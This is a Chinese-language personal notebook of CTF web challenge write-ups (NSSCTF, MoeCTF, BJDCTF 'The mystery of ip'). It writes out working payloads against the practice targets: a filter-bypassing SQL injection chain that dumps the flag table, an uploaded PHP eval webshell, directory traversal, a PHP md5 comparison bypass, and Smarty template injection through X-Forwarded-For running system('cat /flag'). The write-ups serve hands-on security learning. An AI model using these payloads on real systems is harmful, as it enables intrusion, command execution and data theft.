1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 ?wllm= 1 %27 order%0 aby%0 a3 %23 测出回显列为3 ?wllm= 0 %27 union%0 aselect%0 a1 , 2 , 3 %23 ?wllm= 0 %27 union%0 aselect%0 a1 , database(), 3 %23 ?wllm= 0 %27 union%0 aselect%0 a1 , group_concat(table_name)from(information_schema.tables), 3 %23 /?wllm= 0 %27 union%0 aselect%0 a1 , 2 , group_concat(table_name)from(information_schema.tables)%23 Your Password:ALL_PLUGINS, APPLICAB //不是,我用第二行回显甚至会报错?什么题目环境 ?wllm= 0 %27 union%0 aselect%0 a1 , 2 , group_concat(table_name)from(information_schema.tables)where(table_schema)like(database())%23 Your Password:LTLT_flag, users ?wllm= 0 %27 union%0 aselect%0 a1 , 2 , group_concat(column_name)from(information_schema.columns)where(table_name)like('LTLT_flag')%23 Your Password:id, flag ?wllm= 0 %27 union%0 aselect%0 a1 , 2 , group_concat(flag)from(LTLT_flag)%23 NSSCTF{48 f21 b19 -c 67 b 只得到一半 ?wllm= 0 %27 union%0 aselect%0 a1 , 2 , (group_concat(flag)from(LTLT_flag))%23 试了一下 reverse, left 都不能用 ?wllm= 0 %27 union%0 aselect%0 a1 , 2 , mid(group_concat(flag), 20 , 40 )from(LTLT_flag)%23 mid函数试了好久,看wp才知道正确用法😫 b-47 a5 -8 cdf-17841 a4 e ?wllm= 0 %27 union%0 aselect%0 a1 , 2 , mid(group_concat(flag), 40 , 60 )from(LTLT_flag)%23 ca1 c } NSSCTF{48 f21 b19 -c 67 b-47 a5 -8 cdf-17841 a4 eca1 c }
总结,不能小看啊,太久不做容易在小地方犯错,比如url编码,mid函数使用,幸好大方向是对的,给一个安心看别人wp得理由啊啊🤣
MoeCTF 垫刀之路01: MoeCTF?启动! ls / 查看根目录
cat /flag 提示flag不在这,去看系统环境
env 拿到flag
MoeCTF 垫刀之路02: 普通的文件上传 直接传php马
1 <?php eval ($_POST [shell]);
然后用蚂蚁连或者直接post一个env就能看到flag
MoeCTF 垫刀之路03: 这是一个图床 只在前端做了限制,改前端代码或者bp抓包传就行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 POST /upload.php HTTP/1.1 Host : 127.0.0.1:13280Content-Length : 209sec-ch-ua-platform : "Windows"Accept-Language : zh-CN,zh;q=0.9sec-ch-ua : "Chromium";v="129", "Not=A?Brand";v="8"sec-ch-ua-mobile : ?0X-Requested-With : XMLHttpRequestUser-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.6668.71 Safari/537.36Accept : */*Content-Type : multipart/form-data; boundary=----WebKitFormBoundaryJHC9baVxiUBdxw4GOrigin : http://127.0.0.1:13280Sec-Fetch-Site : same-originSec-Fetch-Mode : corsSec-Fetch-Dest : emptyReferer : http://127.0.0.1:13280/Accept-Encoding : gzip, deflate, brConnection : keep-alive------WebKitFormBoundaryJHC9baVxiUBdxw4G Content-Disposition: form-data; name="image" ; filename="shell.php" Content-Type: image/png <?php eval ($_POST [shell]);------WebKitFormBoundaryJHC9baVxiUBdxw4G--
传完后蚂蚁直接连 同样查看环境拿到flag
MoeCTF 垫刀之路04: 一个文件浏览器 java站点,直接在url就能目录穿越,然后就是手工找flag。。。 flag目录: ?path=/../../../..//tmp/flag
MoeCTF ProveYourLove 根据题目提示传够 300次就行
1 2 3 4 5 6 import requests data = {"nickname" :"mignon" ,"user_gender" :"male" ,"target" :"nm" ,"target_gender" :"male" ,"message" :"flag" ,"anonymous" :"false" } url = 'http://127.0.0.1:42701/questionnaire' for i in range (0 ,300 ): qq = requests.post(url,json=data) print (qq.text)
Moe CTF 静态网页 点击看板娘,会在bp看到发包并且有个传参,在浏览器访问并且改id=1 在最下面看到final1l1l_challenge.php 直接访问 得到
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 <?php highlight_file ('final1l1l_challenge.php' );error_reporting (0 );include 'flag.php' ;$a = $_GET ['a' ];$b = $_POST ['b' ];if (isset ($a ) && isset ($b )) { if (!is_numeric ($a ) && !is_numeric ($b )) { if ($a == 0 && md5 ($a ) == $b [$a ]) { echo $flag ; } else { die ('noooooooooooo' ); } } else { die ( 'Notice the param type!' ); } } else { die ( 'Where is your param?' ); } Where is your param?
要求 a和b都不是数字 a等于0,并且a的md5值等于b的数组的a? 有点乱
这个绕不过,看到网上有两种解法
1 2 3 4 5 6 7 8 9 10 11 1 : 意思是让我们get 输入a ,post 输入b,且两个变量都不是数字,然后a 弱相等等于0 ,md5($a )和b的第$a 个元素弱相等,那其实只要a 第一位数字是字母,md5($a )为经典0 e开头数字,b随便取个0 k就行,构造?a =QNKCDZO,post 输入b=0 k就可以了。得到flag。 出题人自己的解法: 后半部分要求是 md5($a ) == $b[$a ],有的师傅可能认为这是 md5 绕过,并且说绕不过去。其实只要静下来定睛一看就能看出来,这个表达式其实并没有对 a 参数做出任何限制,全是对 b 的限制。所以细看就能知道,我们要求的是 b[a ] 就是 a 的 md5 值。至于如何赋值,请看下文: GET: ?a =0 a POST: b[0 a ]=e99bb33727d338314912e86fbdec87af 可以看到,想要传数组,直接把 a 的值丢进中括号就行了。b 的值就是 0 a 的 md5 值。
按照出题的说法试了一下 a=0b b[0b]=347017fd1e37a22faf91875981bc4fb3 确实可以了 原来还可以这样传数组啊
2019 强网杯 高明的黑客 下源码看了一眼吓哭了,几千个php文件 网上的wp说是用脚本来测试每个php文件里留下的马能否用 没做,记一下思路
[BJDCTF2020]The mystery of ip 打开题目发现有flag一栏,点开发现会显示 Your IP is : 192.168.122.15 bp抓爆就知道了
1 2 3 4 5 6 7 8 9 10 11 GET /flag.php HTTP/1 .1 Host : node5.buuoj.cn:25798 Cache -Control: max-age=0 Accept -Language: zh-CN,zh;q=0 .9 Upgrade -Insecure-Requests: 1 User -Agent: Mozilla/5 .0 (Windows NT 10 .0 ; Win64; x64) AppleWebKit/537 .36 (KHTML, like Gecko) Chrome/129 .0 .6668 .71 Safari/537 .36 Accept : text/html,application/xhtml+xml,application/xml;q=0 .9 ,image/avif,image/webp,image/apng,*/*;q=0 .8 ,application/signed-exchange;v=b3;q=0 .7 Referer : http://node5.buuoj.cn:25798 /index.phpAccept -Encoding: gzip, deflate, brConnection : keep-alive
明明是正常的请求头啊
打开hint看看,里面有说:
想到了是要添加ip,但是忘了该怎么自定义请求ip 上网搜 是 X-Forwarded-For:
1 2 3 4 5 6 7 8 9 10 GET /flag.php HTTP/1 .1 Host : node5.buuoj.cn:25798 Cache -Control: max-age=0 Accept -Language: zh-CN,zh;q=0 .9 Upgrade -Insecure-Requests: 1 User -Agent: Mozilla/5 .0 (Windows NT 10 .0 ; Win64; x64) AppleWebKit/537 .36 (KHTML, like Gecko) Chrome/129 .0 .6668 .71 Safari/537 .36 Accept : text/html,application/xhtml+xml,application/xml;q=0 .9 ,image/avif,image/webp,image/apng,*/*;q=0 .8 ,application/signed-exchange;v=b3;q=0 .7 Accept -Encoding: gzip, deflate, brConnection : keep-aliveX -Forwarded-For: 111.111.111.111
成功回显指定ip 不知道为什么传了一次;就再也不能指定ip来回显了
算了看wp吧 看了半天竟然是模板注入
传了一次传了一次;就再也不能指定ip来回显了 这个问题用bp的添加请求头来解决 照着wp做就行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 {{ls }} Your IP is : Fatal error: Uncaught --> Smarty Compiler: Syntax error in template "string: {{ls }} " on line 1 " {{ls }} " unknown tag 'ls' <-- thrown in /var/www/html/libs/sysplugins/smarty_internal_templatecompilerbase.php on line 1 X-Forwarded-For: {{system (ls )}} Your IP is : bootstrap css flag.php header.php hint.php img index.php jquery libs templates_c templates_c X-Forwarded-For: {{system (ls /)}} Your IP is : <br /> <b > Fatal error</b > : Uncaught --> Smarty Compiler: Syntax error in template " string:{{system (ls /)}} " on line 1 " {{system (ls /)}} " - Unexpected " )" < -- thrown in <b > /var/www/html/libs/sysplugins/smarty_internal_templatecompilerbase.php</b > on line <b > 1 X-Forwarded-For: {{system ('ls /' )}} Your IP is : bin dev etc flag home lib media mnt opt proc root run sbin srv sys tmp usr var var X-Forwarded-For: {{system ('cat /flag' )}} //拿到flag
Flask可能存在Jinjia2模版注入漏洞 PHP可能存在Twig模版注入漏洞 源wphttps://blog.csdn.net/weixin_44037296/article/details/111410565